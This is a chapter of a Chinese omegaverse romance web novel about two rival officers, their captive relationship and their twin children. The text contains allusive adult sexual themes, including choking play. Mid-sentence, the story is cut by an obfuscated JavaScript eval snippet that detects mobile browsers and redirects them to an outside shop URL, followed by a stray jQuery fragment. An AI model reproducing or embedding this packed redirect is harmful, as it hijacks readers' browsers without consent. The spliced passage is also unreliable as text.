玉枕戈憎恨着欺骗他、给他使绊子、成为他敌人的阿斯墨德,这个观念永远不会改变。
可玉枕戈并不想变成自己最讨厌的人。
很爱幼崽的Alpha,伸出手按在孩子的头顶,同时释放较为柔和的信息素。
幸好玉枕戈有两只手,不至于捞了这个忘了那个。
也幸好玉枕戈不和阿斯墨德左爱的时候,从来都格外温柔,孩子们很快就被柔和的信息素安抚好,不再伤心。
玉枕戈适时候用语言宽慰幼崽,“好了,我和你们O父只是在闹着玩。”
袖袖拽着玉枕戈的手腕死命往下压,生怕一个不注意A父就又失控,声音哽咽,“真的没有吵架吗?刚刚你看上去好像要把O父弄死掉。”
玉枕戈说起善意的谎言面不改色,“我们真得是闹着玩的。”
“O父的脖子上也有痕迹,我们在部队的叔叔阿姨搏斗训练时也看到过,你肯定打O父了。”
玉枕戈看向阿斯墨德,发现少将也下意识地按着脖颈,指尖触碰之前玩窒息时,玉枕戈留下的掐痕。
察觉到玉枕戈的视线往这边看,阿斯墨德就宽慰玉枕戈,“这点痕迹是小事,戴面具和高领的外套应该能挡住。”
玉枕戈:滚,谁关心你了。
戏真多。
玉枕戈转而继续给女儿科普战友情小课堂:“部队的叔叔阿姨是什么?是同伴,是战友,所以他们搏斗训练的时候肯定不会伤害对方,相对的,A父也绝对不可能伤害你们O父。”
袖袖:“好像也是哦。”
玉枕戈生怕袖袖不相信他和阿斯墨德“感情好”,一把揽住阿斯墨德的肩膀,“我们的感情真得很好。”
明明只是共同孕育过后代的陌生人,玉枕戈却揽出了义薄云天的气势。
袖袖:“我还是不信。”
男孩附和袖袖,“我也不信。”
玉枕戈点了下小姑娘的额头,“鬼精灵,说说吧,你们想要什么?”
玉枕戈自己也是从孩子时过来的,皇帝没把玄武门大乱斗摆上台面的时候,玉枕戈也曾亲自带过弟弟妹妹。
拥有丰富育儿经验的玉枕戈很清楚,小孩子一旦开始用袖袖这种语气说话,就是他们想和你提条件。
阿斯墨德拿了严父的剧本,那他姑且充当慈父。
慈父可以溺爱孩子,可以答应一些稍微过分的要求。
“那。”袖袖蓝色的眼珠子咕噜噜转,“想看A父和O父亲亲可以吗?”
玉枕戈搭在阿斯墨德肩头的手僵住。
“要拉丝的,拉丝的才显得感情好。”袖袖用胳膊肘去捅她的哥哥,“哥哥你说对不对?”
男孩扶着额头,似乎觉得自己贸然认同妹妹的台词实在丢脸,但终归还是出言附和了妹妹的话,“对。”
“我们想看A父和O父亲亲,可以吗?”
孩子们的眼神满怀期翼。
阿斯墨德面对幼崽期翼的眼神,并未感性地很快回应孩子们的愿望。
少将的神情依旧寡淡,眉头微拧,率先道,“哪个老不修,又偷偷给你看不正经的爱情小说。”
“没有哦O父,袖袖是乖孩子,只是军团幼儿园门口,有很多小朋友的爸爸妈妈……”
阿斯墨德到底明白是怎么回事了,“停,不要再说。”
顾名思义,军团幼儿园的孩子全都是军属,双亲至少有一方在第四军团任职,多是血气方刚的年龄,忍不住在孩子面前秀恩秀的不知天地为何物,合情合理。
但是不合军规。
在军团幼儿园长大的孩子,超过九成未来都会重新投入联邦各作战单位工作,军团幼儿园的本质,和训练新兵的作战营并无不同。
而任何军纪严明的军队,都会有这样一条规矩:
工作时间禁止做与工作无关的事情,譬如谈恋爱或者更亲昵的夫妻互动。
玉枕戈可算逮到机会嘲笑阿斯墨德了,“少将,贵军团真是‘军纪严明’。”
“哦,我忘了,你也是个……”
玉枕戈在幼崽视野的死角,咬住阿斯墨德的腺体,将信息素注入。
“工作时间违背纪律的坏分子呢。”
初逢时和互殴无异的左爱中,玉枕戈并没有标记阿斯墨德,哪怕是轻咬程度的临时标记。
左爱时,只把标记给爱的人,普通的左爱和灵.肉.结.合就可以区分开。
玉枕戈只是在做系统的任务,反正不用标记也存在让Omega怀孕的可能。
玉枕戈现在一点也不爱阿斯墨德,他现在只想怎么抓住阿斯墨德的破绽,让阿斯墨德去死。
童言无忌,袖袖无意间告诉玉枕戈,他现在被囚禁的地点,是隶属第四军团管辖的某个监狱。
所以玉枕戈就又想标记阿斯墨德了。
阿斯墨德是第四军团团长的学生,被外界认为未来最有可能在老军团长退休后,接过第四军团的管辖权。
阿斯墨德在第四军团的地位举足轻重。
两个孩子是醒着的,看上去也经历过充足的睡眠没倒时差,所以现在不可能是半夜。
所以阿斯墨德和玉枕戈白日宣银不可描述完,还要连轴转,要去上班。
脖子上的痕迹尚且可以遮挡,标记的味道却很难消去。
想想吧,未来的军团长带着陌生Alpha的标记,走到人前……
虽然不至于给阿斯墨德造成多大的损失,但场面想必很有趣。
突然被Alpha咬了脖子,阿斯墨德登时眼前发黑,但还是强撑着精神和女儿对话,“我之后开会会提醒他们注意影响的。
“袖袖,记得我以前教你的,在外面要多听多看,少说话。
“如果发现什么奇怪的事情,就一定要告诉爸爸。”
袖袖连忙在嘴巴上做了个拉拉链的动作,“袖袖不说,但是O父,袖袖还是很羡慕他们。”
“所以袖袖可以和其他小朋友一样,拥有会亲亲的爸爸们吗?”
玉枕戈觉得这小姑娘不简单。
逻辑清晰,时刻牢记自己的目的,以退为进,适时出击。
是个当皇帝的好料子。
阿斯墨德叹气,想来他也拿袖袖没办法。
阿斯墨德按上玉枕戈的肩头,“殿下,得罪了。”
他们曾在不久前共浴,头发皆被浸润得潮湿。
浸润水汽的亲吻落在玉枕戈脸侧。
玉枕戈咬了阿斯墨德一口,阿斯墨德很记仇,要疯狂索吻回去。
玉枕戈也必将以牙还牙。
曾经在战场上无数次冰龙相见的二人,在孩子的注视下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119801|195961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唇枪舌剑地战斗,交换一个又一个被血腥浸透的吻。
亲到后面玉枕戈发现他石更了。
无论立场与三观如何南辕北辙,玉枕戈的身体似乎永远与阿斯墨德最为契合。
“我终于觉得还是留着长发有用。”阿斯墨德揉着破口fan hong的唇,有些遗憾,“这样的话,您亲我的时候是不是可以更温柔些。”
小鸟擅自开始为未来规划,“等到不打仗的时候,我就把头发留起来。”
玉枕戈并不领情,“留起头发是想求饶吗?没有用的,我一定会从早到晚都狠狠收拾你。”
阿斯墨德的嘴角,寡淡的弧度再次转瞬即逝。
“今天我要去一个不重要的会议点卯,算上来回的距离,大概在天黑后才回来。”阿斯墨德起身,军靴踩在囚室的地板上,铿锵有声。
阿斯墨德对他的主人报备行程,而后行帝国与联邦都通用的军礼。
“晚上见,殿下。”
“我给孩子们请了一天的假,一切就交给你了。”
……
阿斯墨德离开后,囚室的门再次与墙壁融为一体,角落的摄像头再次亮起红光。
不出意外,玉枕戈接下来的举动依旧会处于监视中,音像都会被然后传到某人的设备上。
玉枕戈冷脸对镜头“呕”了一声。
为了不让孩子们失望,玉枕戈不得不和阿斯墨德抱在一起互啃半天,嘴都快掉皮了。
阿斯墨德喜欢监视玉枕戈,觉得这样可以报复玉枕戈曾经对他的控制的话,玉枕戈也可以通过监控表达对阿斯墨德的厌恶。
为了充当不让孩子们失望的好爸爸,和阿斯墨德有除了左爱和调校之外的肢体接触,真得很恶心。
“A父!”
“您没事吧?”
双胞胎并不知道啊他们的A父是在演戏,再次展现相当的默契,不约而同跳下凳子跑回玉枕戈身边,神情关切。
男孩打量玉枕戈一会,发现以他为数不多见识的完全看不出A父如何了,即刻按上手中的儿童终端想要叫人,“勤务……”
通讯还没有播出去,就被玉枕戈制止,“不用。”
玉枕戈露出自以为阳光的笑容,“我没事的,小东篱。”
新的对话果然转移了孩子们的注意力,兄妹俩脸上同时流露出惊讶的神色,“您怎么知道我(哥哥)叫东篱啊?”
玉枕戈在唇边竖起一根手指,笑得颇为高深,“我就是知道。”
袖袖才3岁,自我介绍时却能很流利地念“东篱把酒黄昏后,有暗香盈袖”,应该是平时念得多了,很是熟悉。
儿子的名字应当取自前半句词,否则袖袖大可只用“暗香盈袖”介绍自己。
东篱就很适合。
玉枕戈几乎能想到幼崽平日如何骄傲地自我介绍。
东篱不太爱说话,所以孩子们在一处时,想来都是小姑娘先开口。
东篱把酒黄昏后,有暗香盈袖。
哥哥是东篱。
我是盈袖。
两只幼崽对视一眼,然后像是发现了很有趣的事情,好奇道:
“所以我们的名字,果然是您和O父一起讨论过的,对吗?”
玉枕戈笑了,“阿斯墨德是这么告诉你们的?”
……